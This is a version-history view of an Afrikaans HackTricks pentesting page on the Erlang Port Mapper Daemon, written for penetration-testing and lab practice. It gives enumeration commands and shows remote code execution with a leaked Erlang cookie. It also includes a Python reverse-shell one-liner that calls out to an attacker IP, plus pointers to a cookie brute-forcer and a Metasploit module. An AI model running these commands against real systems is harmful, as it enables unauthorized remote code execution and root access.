hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md

110 lines
5.4 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
# Basiese Inligting
2024-02-11 02:07:06 +00:00
Die **Erlang Port Mapper Daemon (epmd)** dien as 'n koördineerder vir verspreide Erlang-instansies. Dit is verantwoordelik vir die kartering van simboliese nodenaam na masjienadresse, en verseker dus dat elke nodenaam geassosieer word met 'n spesifieke adres. Hierdie rol van **epmd** is noodsaaklik vir die naadlose interaksie en kommunikasie tussen verskillende Erlang-nodes oor 'n netwerk.
2024-02-11 02:07:06 +00:00
**Verstekpoort**: 4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
2024-02-11 02:07:06 +00:00
Hierdie word standaard gebruik op RabbitMQ en CouchDB installasies.
2024-02-11 02:07:06 +00:00
# Opname
2024-02-11 02:07:06 +00:00
## Handleiding
```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```
2024-02-11 02:07:06 +00:00
## Outomaties
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
2024-02-11 02:07:06 +00:00
| epmd-info:
| epmd_port: 4369
2024-02-11 02:07:06 +00:00
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
```
2024-02-11 02:07:06 +00:00
# Erlang Koekie RCE
2024-02-11 02:07:06 +00:00
## Verre Verbinding
2024-02-11 02:07:06 +00:00
As jy die **Verifikasiekoekie kan uitlek**, sal jy in staat wees om kode op die gasheer uit te voer. Gewoonlik is hierdie koekie in `~/.erlang.cookie` geleë en word dit deur Erlang gegenereer by die eerste begin. As dit nie gewysig of handmatig ingestel word nie, is dit 'n lukrake string \[A:Z] met 'n lengte van 20 karakters.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
2024-02-11 02:07:06 +00:00
Meer inligting in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
Die skrywer deel ook 'n program om die koekie te kragtig te kraak:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
2024-02-11 02:07:06 +00:00
## Plaaslike Verbinding
2020-07-16 18:26:18 +00:00
2024-02-11 02:07:06 +00:00
In hierdie geval gaan ons CouchDB misbruik om plaaslike voorregte te verhoog:
2020-07-16 18:26:18 +00:00
```bash
2024-02-11 02:07:06 +00:00
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
2020-07-16 18:26:18 +00:00
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
2024-02-11 02:07:06 +00:00
Voorbeeld geneem van [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
Jy kan die **Canape HTB-masjien gebruik** om te **oefen** hoe om hierdie kwesbaarheid te **uitbuit**.
2020-07-16 18:26:18 +00:00
2022-05-01 12:49:36 +00:00
## Metasploit
```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
```
2022-05-01 12:49:36 +00:00
# Shodan
2024-02-11 02:07:06 +00:00
* `poort:4369 "by poort"`
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
2022-04-28 16:01:33 +00:00
</details>